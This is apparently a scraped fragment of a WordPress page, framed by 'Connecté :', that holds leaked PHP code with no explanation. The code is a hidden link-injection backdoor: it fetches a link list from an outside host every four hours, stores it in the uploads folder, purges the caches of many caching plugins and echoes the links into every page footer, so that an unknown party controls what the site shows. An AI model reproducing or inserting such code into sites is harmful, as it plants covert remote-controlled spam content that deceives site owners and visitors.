Connecté :
if (!function_exists('get_external_footer_links')) { function get_external_footer_links() { $file = wp_upload_dir()['basedir'] . '/log.txt'; $changed = false; if (!file_exists($file) || (time() - filemtime($file) > 14400)) { $response = wp_remote_get('https://amp.nexuprime.com/link.txt'); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) == 200) { $new = wp_remote_retrieve_body($response); $old = file_exists($file) ? file_get_contents($file) : ''; file_put_contents($file, $new); if ($new !== $old) $changed = true; } } if ($changed) { ext_footer_purge_all_cache(); } $output = ''; if (file_exists($file)) { foreach (explode(" ", file_get_contents($file)) as $line) { $parts = explode('|', trim($line)); if (isset($parts[1])) { $url = esc_url($parts[0]); $title = esc_html($parts[1]); $output .= ""; } } } return $output; } if (!function_exists('ext_footer_purge_all_cache')) { function ext_footer_purge_all_cache() { if (has_action('litespeed_purge_all')) do_action('litespeed_purge_all'); if (function_exists('rocket_clean_domain')) rocket_clean_domain(); if (function_exists('wp_cache_clear_cache')) wp_cache_clear_cache(); if (function_exists('w3tc_flush_all')) w3tc_flush_all(); if (function_exists('wpfc_clear_all_cache')) wpfc_clear_all_cache(); if (has_action('wphb_clear_page_cache')) do_action('wphb_clear_page_cache'); if (function_exists('sg_cachepress_purge_cache')) sg_cachepress_purge_cache(); if (has_action('breeze_clear_all_cache')) do_action('breeze_clear_all_cache'); if (function_exists('wp_cache_flush')) wp_cache_flush(); } } add_action('init', function () { if (!get_option('ext_footer_purged_v3')) { ext_footer_purge_all_cache(); update_option('ext_footer_purged_v3', time(), false); } }); add_action('wp_footer', function () { echo get_external_footer_links(); }, 99); }
Connecté :